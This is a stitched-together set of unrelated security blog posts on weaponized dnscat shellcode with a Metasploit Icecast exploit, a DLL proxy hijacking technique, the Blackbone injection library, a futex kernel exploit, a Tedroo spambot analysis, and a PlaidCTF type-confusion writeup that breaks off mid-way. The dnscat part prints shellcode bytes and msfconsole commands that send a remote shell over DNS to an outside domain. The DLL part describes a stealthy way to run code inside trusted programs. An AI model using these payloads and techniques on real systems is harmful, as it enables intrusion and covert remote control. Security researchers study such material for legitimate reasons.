Weaponizing dnscat with shellcode and Metasploit

I’ve been letting other projects slip these last couple weeks because I was excited about converting dnscat into shellcode (or “weaponizing dnscat”, as I enjoy saying). Even though I got into the security field with reverse engineering and writing hacks for games, I have never written more than a couple lines of x86 at a time, nor have I ever written shellcode, so this was an awesome learning experience. Most people start by writing shellcode that spawns a local shell; I decided to start with shellcode that implements a dnscat client in under 1024 bytes (for both Linux and Windows). Like I always say, go big or go home!

If you just want to grab the files, here are some links:

If you want to get your hands dirty, you can compile the source — right now, it’s only in svn:

svn co http://svn.skullsecurity.org:81/ron/security/nbtool
cd nbtool
make

That’ll compile both the standard dnscat client/server and, if you have nasm installed, the Linux and Windows shellcodes. On Windows, you’ll need nasm to assemble it. I installed Cygwin, but you can compile the Windows shellcode on Linux or vice versa if you prefer. The output will be in samples/shellcode-*/. A .h file containing the C version will be generated, as well:

$ head -n3 dnscat-shell-test.h
char shellcode[] =
        "\xe9\xa2\x01\x00\x00\x5d\x81\xec\x00\x04\x00\x00\xe8\x4e\x03\x00"
        "\x00\x31\xdb\x80\xc3\x09\x89\xef\xe8\x2e\x03\x00\x00\x80\xc3\x06"
...

And, of course, the raw file is output (without an extension), that can be run through msfencode or embedded into a script:

 $ make
[...]
$ wc -c samples/shellcode-win32/dnscat-shell-win32
997 samples/shellcode-win32/dnscat-shell-win32
$ wc -c samples/shellcode-linux/dnscat-shell-linux
988 samples/shellcode-linux/dnscat-shell-linux

Unless you want to be sending your cmd.exe (or sh) shell to skullseclabs.org, you’ll have to modify the domain as well — the very last line in the assembly code for both Windows and Linux is this:

get_domain:
 call get_domain_top
 db 1, 'a' ; random
 db 12,'skullseclabs' ; <-- To modify domain, change this...
 db 3,'org' ; <-- and this. The number is the section length.
 db 0

The two lines with the domain have to be changed. The number preceding the name is, as the comment says, the length of the section (‘skullseclabs’ is 12 bytes, and ‘org’ is 3 bytes). This process is automated with the Metasploit payload, as you’ll see.

Encoding with msfencode

msfencode from the Metasploit project is a beautiful utility. I highly recommend running shellcode through it before using it. The most useful aspect with shellcode is, at least to me, the ability to eliminate characters. So, if I need to get rid of \x00 (null) characters from my strings, it’s as easy as:

$ msfencode -b "\x00" < dnscat-shell-win32 > dnscat-shell-win32-encoded
[*] x86/shikata_ga_nai succeeded with size 1024 (iteration=1)

If you’re planning on using this in, for example, Metasploit, you don’t have to worry about the msfencode step — it’ll do that for you.

Metasploit payload

Speaking of metasploit, yes! I wrote a metasploit payload for dnscat.

First, there are a number of caveats:

  • This is highly experimental
  • This doesn’t have a proper “exitfunc” call — it just returns and probably crashes the process
  • This is set up as a single stage, right now, and is 1000 or so bytes — as a result, it won’t work against most vulnerabilities
  • The dnscat server isn’t part of Metasploit, yet, so you’ll have to compile run it separately

That being said, it also works great when it’s usable. The target I use for testing is Icecast 2 version 2.0.0 (WARNING: don’t install vulnerable software on anything important!), which is included on the SANS 560 and 504 CDs (thanks Ed!). It’s free, GPL, reliable, and has 2000 bytes in which to stuff the payload.

So, the steps you need to take are,

    1. Install Icecast2 on your victim machine (Win32)
    2. Download the experimental dnscat Metasploit module and put it in your Metasploit directory (modules/payloads/singles/windows/)
    3. Fire up a dnscat server on your authoritative DNS server (dnscat --listen) — see the dnscat wiki for more information
    4. Run Metasploit (msfconsole) and enter the following commands:
msf > use exploit/windows/http/icecast_header

msf exploit(icecast_header) > set PAYLOAD windows/dnscat-shell-win32
PAYLOAD => windows/dnscat-shell-win32

msf exploit(icecast_header) > set RHOST 192.168.1.221
RHOST => 192.168.1.221

msf exploit(icecast_header) > set DOMAIN skullseclabs.org
DOMAIN => skullseclabs.org

msf exploit(icecast_header) > exploit
[*] Exploit completed, but no session was created.

Meanwhile, on your dnscat server, if all went well, you should see:

$ sudo ./dnscat --listen
Waiting for DNS requests for domain '*' on 0.0.0.0:53...
Switching stream -> datagram
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\Program Files\Icecast2 Win32>

You can type commands in, and they’ll run just like a normal shell. Be warned, though, that it is somewhat slow, due to the nature of going through DNS.

Why bother?

The big advantage to this over traditional shellcode is that no port, whether inbound or outbound, is required! As long as the server has a DNS server set that will perform recursive lookups, it’ll work great!

Feedback

As I said, this is the first time I’ve ever written shellcode or x86. I’m sure there are lots of places where it could be significantly improved, and I’d love to hear feedback from the folks who really know what they’re doing and can help me improve my code.

Thanks!

Malware ROI and the Return of Malicious Macros: It’s Not Personal, It’s Business

We have written frequently on Threat Insight about the return of malicious macros as an exploit technique in email-borne threats, and while the campaigns have evolved the question has lingered: How and why did this ‘outdated’ technique so quickly become a key part of massive malware campaigns? It’s a truism to say that cybercriminals are a business, but how does that affect their choice of technology?

Attack techniques come and go as technology and user behaviors change and defenses adapt to new threats – and sometimes take their eye off old ones – and the return of malicious macros offers an opportunity to examine and understand the drivers behind these adaptations, an exercise that is equal parts business case and technical analysis. By combining technical analysis of malware samples with investigation on cybercriminal forums, this report exposes the economic and technical drivers behind the recent rise of malicious macros and enables cybersecurity practitioners to better defend their organizations against this and future advanced threats.

Proofpoint research into threats and underground forums finds that, from a cost perspective, malicious macros deliver the most ‘bang for the buck’ because they combine lower up-front and maintenance costs with higher effectiveness to create a ‘killer app’ for cybercriminals.

Technical analysis and threat intelligence allow us to identify the cause behind the explosive return of malicious macros as an exploit technique featuring daily in massive campaigns:

  • Highly successful at evading not only traditional signature- and reputation-based defenses, but also newer behavioral sandboxes
  • Able to be frequently updated easily and at low cost
  • Cross-platform and “unpatchable,” because it is not limited by vulnerabilities on a specific operating system or application version
  • Reliance on end-user interaction leverages social engineering to bypass automated defenses
  • Low up-front and maintenance costs increase return on investment (ROI)

Combined in a single solution, it is no surprise that malicious macro attachment campaigns have grown so rapidly in both size and frequency, and we can expect that they will only begin to subside when this equation changes and either their cost increases or effectiveness decreases to the point that they can no longer deliver the same ROI.

Our new report, “The Cybercrime Economics of Malicious Macros,” examines the technical and business characteristics of malicious macros to provide insights into the behavior of threat actors and other members of the cybercriminal underground through a case study in the way of technical innovation and business value can combine to create a landscaping-changing malware trend. Click here to download the report.

Generic DLL Proxy

CIA-Flag-On-Keyboard.png

On a technical level, the CIA has some fascinating abilities. And I’m not just talking about the zero-day weaknesses in about every possible device, but also the trojan capabilities. On several documents, the CIA mentions “Antivirus defeat” – which are a bunch of ways they can bypass personal security software while executing on the victim’s machine. Some of this includes placing the executable in the recycle bin (Comodo defeat) and mutating the executable’s resources so that it passes heuristic check (Avira defeatF-Secure defeatBitDefender defeat).

In researching deeper, it has become clear that there are ways to improve on the DLL hijacking methods employed by the CIA in a manner that is more generic and adaptable to different scenarios.

Current State of the Art

It is interesting to examine how CIA trojans startup at boot. I found several documents referring to this, using Group policy startup, services and other methods. But one method seemed to stand out from the rest – using DLL hijacking. The CIA seems to be keen on this method, as they have a list of popular software where they found DLL hijack methods (Fine dining). It may be safe to say they use this method to disguise some data theft operation as a normal operation – this makes sense since the CIA uses operatives.

Consider the following: An operative is in the field, collecting data for an upcoming operation. For instance, the first requirement is finding out what type of phones, wifi routers, or other connectable devices are available at a target organization or with a target person. To complete this, code is written for that scanning operation, and then the operative needs to execute it while undercover. It makes sense that the operative would need some cover on his machine.

For example, they load all of the code into an innocent process, such as a VLC player. Then when VLC starts (by the operative), the code executes, and it hijacks a DLL used by VLC. This method also makes sense for target machines. VLC might already be configured as trusted by the protection software, and since there were no modifications to any file in it, it will still be trusted. A good example is the “Rain maker” module:

“RainMaker v1.0 is a survey and file collection tool built for a FINO QRC operation. IOC/FINO is looking to expand asset-assisted operations. The intended CONOPS involves using an asset to gain access to a target network. The asset has the ability to plug in a personal thumbdrive to the network. In this scenario, the asset will have “downloaded” the portable version of VLC player (2.1.5)  and will listen to music during work hours. While she is listening to music, the tool will execute the survey and a prioritized file collection. All collected data will be stored to the root of the removable media it is executing from. When the asset next meets with the case officer, the thumbdrive is retrieved and the collection is processed.”

From the WikiLeaks documents, it looks like the CIA uses this method a lot. Also, since the functionality of the hijacked DLL is still needed, they would need to proxy all functions exported by the DLL. This is apparent from the way they describe some of the DLL hijacks they found.  For instance in the Opera hijack, they state the DLL is ideal for hijacking, since it only exports one function. This means they would only need to proxy one method.

And so finally I reach my point – DLL proxying can be made easier, if only you could a write a DLL that is generic in what it proxies. If one could write a DLL that proxies any other DLL, it could simply be dropped anywhere (with a specific name, of course), and be loaded. And this is where i think the CIA did not investigate enough – since this can easily be achieved.

A better way – The Generic DLL

The main idea is this: When a process loads a DLL, it will use the LoadLibrary API. This API returns the base address where the DLL was loaded. So when proxying, the process receives the base address of the proxying DLL, and that is why all of the functions from the original DLL need to be exported:

Dll hijacking techniques used by CIA 1.png

In order to build a generic proxy DLL, one must make sure the base address of the original dll is returned to the loading process. That way, there is no need to proxy anything, and stop being the middleman:

Dll hijacking techniques used by CIA 2.png

How can this magic happen? It’s actually pretty easy. All that is needed is to walk the stack and find the function call to LoadLibrary, specifically – the return address from it. Then write a different address there that points to this small piece of code that sets the return value and then jumps into ADDR. That’s it. The calling process will receive whatever is set in the return value as the base address.

The code used to swap the return value is really simple, and looks like this:

mov eax, ORIGINAL_BASE_ADDR

jmp PROCESS_ADDR

Doing it this way gives a few advantages:

  1. Simplicity – Don’t care about the amount of exported functions
  2. Robustness – No need to create a different version per-dll hijack method
  3. Stickiness – Can easily look for DLL hijacking methods, since no versioning is required

To summarize, the CIA does its best to give its operatives a good cover. Still, executing malicious code requires a cover, and DLL hijacking provides a good way to both keep the integrity of the executing software and to execute the malicious code within it. This approach should also work for trojans, which can be dropped on “innocent” machines, and loaded into target processes. Using this method might require proxying the exports of the proxied dll – which can be solved by creating a generic “invisible” DLL.

Nice DLL Injection LIB

Blackbone

 

https://github.com/DarthTon/Blackbone

Windows memory hacking library

Features

  • x86 and x64 support

Process interaction

  • Manage PEB32/PEB64
  • Manage process through WOW64 barrier

Process Memory

  • Allocate and free virtual memory
  • Change memory protection
  • Read/Write virtual memory

Process modules

  • Enumerate all (32/64 bit) modules loaded. Enumerate modules using Loader list/Section objects/PE headers methods.
  • Get exported function address
  • Get the main module
  • Unlink module from loader lists
  • Inject and eject modules (including pure IL images)
  • Inject 64bit modules into WOW64 processes
  • Manually map native PE images

Threads

  • Enumerate threads
  • Create and terminate threads. Support for cross-session thread creation.
  • Get thread exit code
  • Get main thread
  • Manage TEB32/TEB64
  • Join threads
  • Suspend and resume threads
  • Set/Remove hardware breakpoints

Pattern search

  • Search for arbitrary pattern in local or remote process

Remote code execution

  • Execute functions in remote process
  • Assemble own code and execute it remotely
  • Support for cdecl/stdcall/thiscall/fastcall conventions
  • Support for arguments passed by value, pointer or reference, including structures
  • FPU types are supported
  • Execute code in new thread or any existing one

Remote hooking

  • Hook functions in remote process using int3 or hardware breakpoints
  • Hook functions upon return

Manual map features

  • x86 and x64 image support
  • Mapping into any arbitrary unprotected process
  • Section mapping with proper memory protection flags
  • Image relocations (only 2 types supported. I haven’t seen a single PE image with some other relocation types)
  • Imports and Delayed imports are resolved
  • Bound import is resolved as a side effect, I think
  • Module exports
  • Loading of forwarded export images
  • Api schema name redirection
  • SxS redirection and isolation
  • Activation context support
  • Dll path resolving similar to native load order
  • TLS callbacks. Only for one thread and only with PROCESS_ATTACH/PROCESS_DETACH reasons.
  • Static TLS
  • Exception handling support (SEH and C++)
  • Adding module to some native loader structures(for basic module api support: GetModuleHandle, GetProcAdress, etc.)
  • Security cookie initialization
  • C++/CLI images are supported
  • Image unloading
  • Increase reference counter for import libraries in case of manual import mapping
  • Cyclic dependencies are handled properly

Driver features

  • Allocate/free/protect user memory
  • Read/write user and kernel memory
  • Disable permanent DEP for WOW64 processes
  • Change process protection flag
  • Change handle access rights
  • Remap process memory
  • Hiding allocated user-mode memory
  • User-mode dll injection and manual mapping
  • Manual mapping of drivers

CVE-2014-3153 Exploit

futex-exploit

This awesome vulnerability, that affect pretty much all Linux kernels from the last five years, was found by Comex about a month ago. It is also the vulnerability that is used in TowelRoot by GeoHot, to root the Samsung S5 and a bunch of other Android based devices. TowelRoot is closed source and heavily obfuscated though, and there are still no public exploits available for this vulnerability for desktop/server systems. So, I decided to make one myself. 😉

One of the interesting things with this vulnerability is that it is triggered through the futex() syscall, that is usually allowed even within very limited sandboxes (such as the seccomp-based one used by Google Chrome). The reason that this syscall is usually allowed is because it’s used to implement threading primitives, so unless the sandboxed application is single-threaded the futex() syscall is required.

This is not the first, and certainly not the last, time that I developed a kernel exploit. Some of you may remember the exploit I developed for a Windows GDI vulnerability back in 2006, for a vulnerability that Microsoft did not patch until two weeks after I demonstrated my exploit at BlackHat Europe in 2007. I must say though, this was definitely more challenging than most kernel vulnerabilities I have researched. Fortunately, challenging equals fun for me. 😉

My initial exploit patched the release() function pointer in the ptmx_fops structure, to achieve code execution in kernel context and calling commit_creds(prepare_kernel_cred(0)). The problem with this approach, however, was that it is prevented by a protection mechanism known as SMEP, that is supported by Intel Haswell CPU:s. Due to this, I changed my exploit to target the addr_limit value in the thread_info structure instead. This allows me to enable one of my threads to read/write arbitrary kernel memory, and provide root-access for me (and optionally disable other kernel-based protection mechanisms, such as SELinux) without having to executing any code in kernel context.

To Comex, great job in finding this vulnerability! I first realized what a talent you have after reverse-engineering your star-exploit back in 2010 (before realizing that you had released it as open source :D), that you used for the JailbreakMe 2.0 site. Judging from all the vulnerabilities you have found since then, you are no one-hit-wonder either. 😉 Unlike a lot of the kids these days, you find a lot of vulnerabilities that requires a deep understanding of the target code in question, rather than just throwing a fuzzer at it.

To GeoHot, really impressive work with developing the TowelRoot exploit in such a short amount of time! The breadth and depth of your work, ranging from PS3 jailbreaks, iPhone unlocks and jailbreaks, and now Android roots, not to mention your success in CTF competitions with PPP as well as with your one-man-team, is truly an inspiration. 🙂

Tedroo Spambot Analysis

 

This is a tutorial analyzing the Tedroo spam bot. The MD5 for the binary is 37d0738dec3c65e416aec49e36db81b4. I’ve taken the binaries off the blog but send me an email ( brad _at_ reverseco (d0t) de ) if you’d like the binaries and want to dive in yourself. Thanks Greg Newman for providing this piece of malware. I’m going to try to keep this brief as possible and hit on only the high points of what this program does. It’s a spam worm that has been picked up/identified by some of the popular AV engines via VirusTotal.  This is the total from the packed exe.

Crazy enough the VirusTotal for the dumped binary has LESS of a detection prominence in the Anti-Virus community.  Not sure why that is?!?

As you can see this thing goes by a few different names. Well we can fire up IDA and load up the dump that was garnered from the original executable here.  The packer isn’t identified with PEid but it was easy enough to find the OEP and use Ollydump to make a valid file.

After some static/dynamic analysis the dropper does a few things. The dropper specifies the download server to connect out to as well as a decryption routine to decrypt the api’s that are included in the binary. The algorithm for the encrypted api’s is pretty easy to reverse and it’s pseudocode is [encrypted_address+counter] XOR [0x54 + counter]. Here is a sample of one of the routines. Later on it hides the calling conventions to these API’s to make static analysis more difficult.

.text:00403728
.text:00403728 decrypt_api_ntohs: ; CODE XREF: start+224j
.text:00403728 mov dl, al
.text:0040372A add dl, 54h
.text:0040372D xor byte_405590[eax], dl
.text:00403733 inc eax
.text:00403734 cmp eax, 6
.text:00403737 jb short decrypt_api_ntohs
.text:00403739 xor eax, eax

This routine will decrypt the strings for the API’s that it wishes to load. It utilizes these later by pushing the decrypted api string onto the stack then calling GetProcAddress to let the program know where it’s located in memory for future reference.

.text:00403945 push offset byte_40555C ; lpProcName
.text:0040394A push dword_4059A0 ; hModule
.text:00403950 mov dword_405988, eax
.text:00403955 call esi ; GetProcAddress

After decrypting and loading libraries that will be utilized the dropper tries to throw us off the trail by calling the Sleep API for 10 minutes.  Feel free to modify this to 0 or go grab a cup of coffee!

.text:00403A85 push 927C0h ; dwMilliseconds
.text:00403A8A call esi ; Sleep ; wait 10 minutes

Next up drop file routine is called and it copies itself to userini.exe in the system32 directory. This is an exact copy of the dump file that is included in the archive above.  Two threads are then created that do the spam list requesting and other things that we’ll explore now.

.text:00403A91 push edi
.text:00403A92 push edi
.text:00403A93 push edi
.text:00403A94 push offset Thread1
.text:00403A99 push edi
.text:00403A9A push edi
.text:00403A9B call CreateThread ; createthread
.text:00403AA1 push edi
.text:00403AA2 push edi
.text:00403AA3 push edi
.text:00403AA4 push offset Thread2
.text:00403AA9 push edi
.text:00403AAA push edi
.text:00403AAB mov dword_405964, eax ; result from CreateThread
.text:00403AB0 call CreateThread
.text:00403AB6 mov dword_4059DC, eax ; Result from CreateThread

One thread is relegated to making sure our registry keys are made to startup and the other thread gets some encrypted xml from the spam server.  Most notable registry locations that have been plucked from the subroutine @ 401CB4 are….

Software\Microsoft\Windows\CurrentVersion\run
Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
Software\Microsoft\Windows\CurrentVersion\Explorer

There are additional registry strings that are in the file but are not currently used. The others attempt to modify firewall settings to make sure the malware has an open line to the internet. The next step is to report to the spam server and do it’s bidding. The second thread in the program forms a http GET request that has a similar structure to this url http://%5BSPAM_SERVER_IP%5D/source/zxhttr.php?id=%5BWINDOWS_REGID%5D&tick=%5BUPTIME_DATA%5D&ver=%5BWSOCKVER%5D&smtp=ok&task=3&#8243;.  Once the response is read into the buffer this is our encrypted xml string that contains who to spam, what to spam them with. This information can change and it looks like the program has a capability to update itself if the botmasters decide to serve up something else. Here is the routine where the string is formatted before it hits the wire.

.text:0040321B
.text:0040321B Format_String_Wire: ; “202”
.text:0040321B push offset a202
.text:00403220 call atoi
.text:00403225 pop ecx
.text:00403226 push dword_405A0C
.text:0040322C push offset aOk ; “ok”
.text:00403231 push eax
.text:00403232 call dword_405694
.text:00403238 mov ebx, ds:sprintf
.text:0040323E push eax
.text:0040323F push offset Dest
.text:00403244 push offset aSourceZxhttr_p ; “/source/zxhttr.php
.text:00403249 lea eax, [ebp+Dest]
.text:0040324F push offset aS?idSTickDVerD ; “%s?id=%s&tick=%d&ver=%d&smtp=%s&task=%d”…
.text:00403254 push eax ; Dest
.text:00403255 call ebx ; sprintf

Now if you notice there’s a few variables that get passed back to the spam server. ID is our unique windows id from the regkey “id” @ HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer. Tick is derived from GetTickCount API which reports back how long it’s been since we’ve booted up so this returns uptime data to the spammers. Version is hardcoded in the program but appears to request version 2.02 of windows sockets. Task is an internal notation to the spam server to flag “3” as sending out spam activity.

*If you also notice this particular server is running Server: nginx/0.6.32.  This was fished out of the http response.  Notice there are numerous exploits for this server and how it was probably compromised into a spam press!  Use the following search string to track some down (nginx + “security advisory” + “0.6.32”).  Of course you can modify this to find POC’s or whatnot .

Next we’re going to dive into the decryption routine for the http response as well as utilize some code to do this for us.

.text:00401874
.text:00401874 Decrypt_HTTP_Stream: ; CODE XREF: sub_40184E+5Fj
.text:00401874 push [ebp+var_8]
.text:00401877 lea eax, [ebp+var_1]
.text:0040187A call sub_401223
.text:0040187F mov al, byte ptr Dest[edi]
.text:00401885 add al, 20h
.text:00401887 xor al, [ebp+var_1]
.text:0040188A inc edi
.text:0040188B mov [esi+ebx], al
.text:0040188E mov eax, offset Dest
.text:00401893 lea ecx, [eax+1]

I’m going to use python here btw.  Python to construct the http responses as it’s very quick/easy to utilize urllib2 to construct this data and save it.  Here is the source. The decryption algorithm works like this. The original stream thats taken take the 2 bytes and produce a hex representation of them. “68” would be 0x68. Take this and XOR this with the ID from HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\id + 0x20. So if the first character from your id is “4” it’d be 0x34 + 0x20 = 0x54. 0x54 XOR 0x68 gives us 0x3C which is “<” or the first character of an xml formatted tag.  Here is an example of a decrypted portion from the server.

<config>
</config>
<info>
taskid=3
realip=MY_IP_HERE
hostname=MY_HOSTNAME_HERE
style=0
</info>
<emails>
email123@spamme.com
email12390@email.com
</emails>
</info>

This is how the response looks after decryption and directs the program flow throughout the bot. The python script should clear up any questions you may have. This could change as the botmasters could serve up a different program. The flags to look for those routines are run and update. I’m thinking about coding up a php emulator to do just this for analysis or if anyone wants to volunteer that for additional study it’d be great🙂

After our stream is processed in the program begins formatting email messages to send out over the wire. Processing occurs like this.

.text:00401E1C
.text:00401E1C push ebp
.text:00401E1D mov ebp, esp
.text:00401E1F sub esp, 258h
.text:00401E25 push ebx
.text:00401E26 push esi
.text:00401E27 push edi
.text:00401E28 mov esi, offset aHostname ; “hostname=”
.text:00401E2D lea edi, [ebp+var_48]
.text:00401E30 movsd
.text:00401E31 movsd
.text:00401E32 movsw
.text:00401E34 mov esi, offset aStyle ; “style=”
.text:00401E39 lea edi, [ebp+var_30]
.text:00401E3C movsd
.text:00401E3D movsw
.text:00401E3F movsb
.text:00401E40 mov eax, ds:dword_4042C8
.text:00401E45 mov esi, offset aEmails ; “<emails>”
.text:00401E4A lea edi, [ebp+var_3C]
.text:00401E4D movsd
.text:00401E4E movsd
.text:00401E4F movsb
.text:00401E50 mov esi, offset aInfo ; “<info>”
.text:00401E55 lea edi, [ebp+SubStr]
.text:00401E58 movsd
.text:00401E59 movsw
.text:00401E5B movsb
.text:00401E5C mov esi, offset aText ; “<text>”
.text:00401E61 lea edi, [ebp+var_1C]
.text:00401E64 mov [ebp+var_28], eax
.text:00401E67 mov eax, ds:dword_4042CC

Most notably these functions calls are around 402bd4 and it Create’s a seperate thread for each email message being sent. The email send routine is @ 4022BE. This basically queries the DNS of the spamee’s domain to see what mail server it resolves too.

<span style=”color:#c0c0c0″>.text:004022BE ; —————————————————————————
.text:004022BE
.text:004022BE Email_Send: ; CODE XREF: sub_402263+4Fj
.text:004022BE push esi ; Size
.text:004022BF push ebx ; Val
.text:004022C0 push ebp ; Dst
.text:004022C1 call memset
.text:004022C6 add esp, 0Ch
.text:004022C9 push ebx
.text:004022CA lea eax, [esp+1Ch+var_4]
.text:004022CE push eax
.text:004022CF push ebx
.text:004022D0 push ebx
.text:004022D1 push 0Fh
.text:004022D3 push [esp+2Ch+Email_Domain]
.text:004022D7 call dnsapi_DnsQueryA
.text:004022DD test eax, eax
.text:004022DF jnz loc_402681
.text:004022E5 mov ecx, [esp+18h+var_4]
.text:004022E9 call Get_MailServer
.text:004022EE mov edi, eax ; return mailserver of said domain
.text:004022F0 cmp edi, ebx
.text:004022F2 jz loc_40265C
.text:004022F8 push edi
.text:004022F9 push offset aConnectingS___ ; “Connecting %s …\r\n”
.text:004022FE push ebp ; Dest
.text:004022FF call ds:sprintf

Then it builds the packet to send and sends out the mail request using to/from as the same person and it sends out some viagra spam to that mail domain. Here is the following html that it sends out.

..

Click here!

..

Please don’t follow the links as it could be later modified to have some form of drive by downloading

Most namely are update/run.  So it looks like this server could switch over and begin hosting more malicious binaries that may install a rootkit or a more advanced spambot!  I hope you enjoyed this tear-down and feel free to leave feedback in the comments section.

*PS Large cash donation and firstborn children can be sent to my email as I’m a hobbyist!

PlaidCTF writeup for Pwn-275 – Kappa (type confusion vuln)

This is my last writeup for PlaidCTF! You can get a list of all my writeups here. Kappa is a 275-point pwnable level called Kappa, and the goal is to capture a bunch of Pokemon and make them battle each other!

Ultimately, this issue came down to a type-confusion bug that let us read memory and call arbitrary locations. Let’s see why!

The setup

When you run Kappa, you get a Pokemon interface:

Thank you for helping test CTF plays Pokemon! Keep in mind that this is currently in alpha which means that we will only support one person playing at a time. You will be provided with several options once the game begins, as well as several hidden options for those true CTF Plays Pokemon fans ;). We hope to expand this in the coming months to include even more features!  Enjoy! :)
Choose an Option:
1. Go into the Grass
2. Heal your Pokemon
3. Inpect your Pokemon
4. Release a Pokemon
5. Change Pokemon artwork

If you go into the grass, you can capture a Pokemon:

1   
You walk into the tall grass!
.
.
.
You failed to find any Pokemon!
Choose an Option:
1. Go into the Grass
2. Heal your Pokemon
3. Inpect your Pokemon
4. Release a Pokemon
5. Change Pokemon artwork

1
You walk into the tall grass!
.
.
.
A wild Kakuna appears!
Choose an Option:
1. Attack
2. Throw Pokeball
3. Run
2
You throw a Pokeball!
You successfully caught Kakuna!
What would you like to name this Pokemon?
POKEMON1
Choose an Option:
1. Go into the Grass
2. Heal your Pokemon
3. Inpect your Pokemon
4. Release a Pokemon
5. Change Pokemon artwork

…And so on.

It’s worth noting that each of those periods represents a second of waiting. Thus, the first thing to do is to get rid of sleep():

@@ -1,5 +1,5 @@

-kappa:     file format elf32-i386
+kappa-fixed:     file format elf32-i386


 Disassembly of section .interp:
@@ -1077,19 +1077,35 @@
  8048de9:      c7 04 24 74 98 04 08    mov    DWORD PTR [esp],0x8049874
  8048df0:      e8 9b f7 ff ff          call   8048590 <puts@plt>
  8048df5:      c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
- 8048dfc:      e8 5f f7 ff ff          call   8048560 <sleep@plt>
+ 8048dfc:      90                      nop
+ 8048dfd:      90                      nop
+ 8048dfe:      90                      nop
+ 8048dff:      90                      nop
+ 8048e00:      90                      nop
  8048e01:      c7 04 24 92 98 04 08    mov    DWORD PTR [esp],0x8049892
  8048e08:      e8 83 f7 ff ff          call   8048590 <puts@plt>
  8048e0d:      c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
- 8048e14:      e8 47 f7 ff ff          call   8048560 <sleep@plt>
+ 8048e14:      90                      nop
+ 8048e15:      90                      nop
+ 8048e16:      90                      nop
+ 8048e17:      90                      nop
+ 8048e18:      90                      nop
  8048e19:      c7 04 24 92 98 04 08    mov    DWORD PTR [esp],0x8049892
  8048e20:      e8 6b f7 ff ff          call   8048590 <puts@plt>
  8048e25:      c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1

…and so on

Types, types, types

There are three types of Pokemon in the game: Bird Jesus, Kakuna, and Charizard. You can have up to four Pokemon captured at the same time. There is an array of the Pokemon types:

.bss:0804BFC0 pokemon_types   dd 5 dup(?)             ; DATA XREF: sub_8048960+219w
.bss:0804BFC0                                         ; do_heal_pokemon_real+20r ...
.bss:0804BFC0                                         ; A list of pokemon types, 1 2 or 3

…and also an array of pointers to the actual Pokemon:

.bss:0804BFAC pokemon_pointers dd 5 dup(?)            ; DATA XREF: list_pokemon+1Er
.bss:0804BFAC                                         ; list_pokemon+2Cr ...
                                                      ; A list of pointers to the captured Pokemon

The structures for each Pokemon type are also different, and this is really the key:

00000000 pokemon_type_1  struc ; (sizeof=0x888)
00000000 name            db 15 dup(?)
0000000F artwork         db 2153 dup(?)
00000878 health          dd ?                    ; XREF: do_heal_pokemon_real+5Bw ; max = 100
0000087C attack_power    dd ?
00000880 actions         dd ?
00000884 function_status dd ?                    ; XREF: do_inspect_pokemon+79r
00000888 pokemon_type_1  ends

00000000 pokemon_type_2  struc ; (sizeof=0x214)
00000000 name            db 15 dup(?)
0000000F artwork         db 501 dup(?)
00000204 health          dd ?                    ; XREF: do_heal_pokemon_real+80w
00000208 attack_power    dd ?
0000020C actions         dd ?
00000210 function_status dd ?                    ; XREF: do_inspect_pokemon+A9r
00000214 pokemon_type_2  ends

00000000 pokemon_type_3  struc ; (sizeof=0x5FC)
00000000 name            db 15 dup(?)            ; XREF: initialize_bird_jesus+18w
0000000F artwork         db 1501 dup(?)          ; XREF: initialize_bird_jesus+32o
000005EC health          dd ?                    ; XREF: do_heal_pokemon_real+36w
000005EC                                         ; initialize_bird_jesus+55w
000005F0 attack_power    dd ?                    ; XREF: initialize_bird_jesus+62w
000005F4 actions         dd ?                    ; XREF: initialize_bird_jesus+48w
000005F8 function_status dd ?                    ; XREF: do_inspect_pokemon+49r
000005F8                                         ; initialize_bird_jesus+6Fw
000005FC pokemon_type_3  ends

The three important fields are artwork, which is a differently sized array for each type, as well as actions and function_status. function_status is particular important, because it’s a function pointer to the function that displays the Pokemon’s status. And function pointers are fun. 🙂

Type confusion

Now, this is where the vulnerability happens. When you capture your sixth Pokemon, it no longer fits in the static 5-element array and asks you to replace one of your old ones:

What would you like to name this Pokemon?
char
Caught char
Oh no! you don't have any more room for a Pokemon! Choose a Pokemon to replace!
Choose a Pokemon!
1. Bird Jesus
2. Kack1
3. Kack2
4. Kack3
5. Kack4

The problem is, when a Pokemon updates a Pokemon of another type, it forgets to update the type array, and therefore thinks the Pokemon is of the wrong type! Since each type has a different structure, it means that Bad Stuff happens! If we change out a Pokemon then try to display it, this happens:

What would you like to name this Pokemon?
char
Caught char
Oh no! you don't have any more room for a Pokemon! Choose a pokemon to replace!
Choose a Pokemon!
1. Bird Jesus
2. Kack1
3. Kack2
4. Kack3
5. Kack4
2

Choose an Option:
1. Go into the Grass
2. Heal your Pokemon
3. Inpect your Pokemon
4. Release a Pokemon
5. Change Pokemon artwork

3
Here are all of the stats on your current Pokemon!
Name: Bird Jesus
                   ..-`"-._
                 ,'      ,'`.
               ,f \   . / ,-'-.
              '  `. | |  , ,'`|
             `.-.  \| | ,.' ,-.\
              /| |. ` | /.'"||Y .
             . |_|U_\.|//_U_||. |
             | j    /   .    \ |'
              L    /     \    .j`
               .  `"`._,--|  //  \
               j   `.   ,'  , \   L
          ____/      `"'     \ L  |
       ,-'   ,'               \|'-+.
      /    ,'                  .    \
     /    /                     `    `.
    . |  j                       \     \
    |F   |                        '   \ .
    ||  F                         |   |\|
    ||  |                         |   | |
    ||  |                         |   | |
    `.._L                         |  ,' '
     .   |                        |,| ,'
      `  |                    '|||  j/
       `.'    .             ,'   /  '
         \\    `._        ,'    / ,'
          .\         ._ ,'     /,'
            .  ,   .'| \  (   //
            j_|'_,'  |  ._'` / `.
           ' |  |    |   |  Y    `.
    ,.__  `; |  |-"""^"""'  |.--""`
 ,--\   """ ,    \  / \ ,-     """"---.
'.--`v.=:.-'  .  L."`"'"\   ,  `.,.._ /`.
     .L    j-"`.   `\    j  |`.  "'--""`-'
     / |_,'    L ,-.|   (/`.)  `-\.-'\
    `-""        `. |     l /     `-"`-'
                  `      `- mh

Current Health: 960
Attack Power: 20
Attack: Gust
Segmentation fault (core dumped)

Where did it crash?

Core was generated by `./kappa-fixed'.
Program terminated with signal 11, Segmentation fault.
#0  0x22272020 in ?? ()

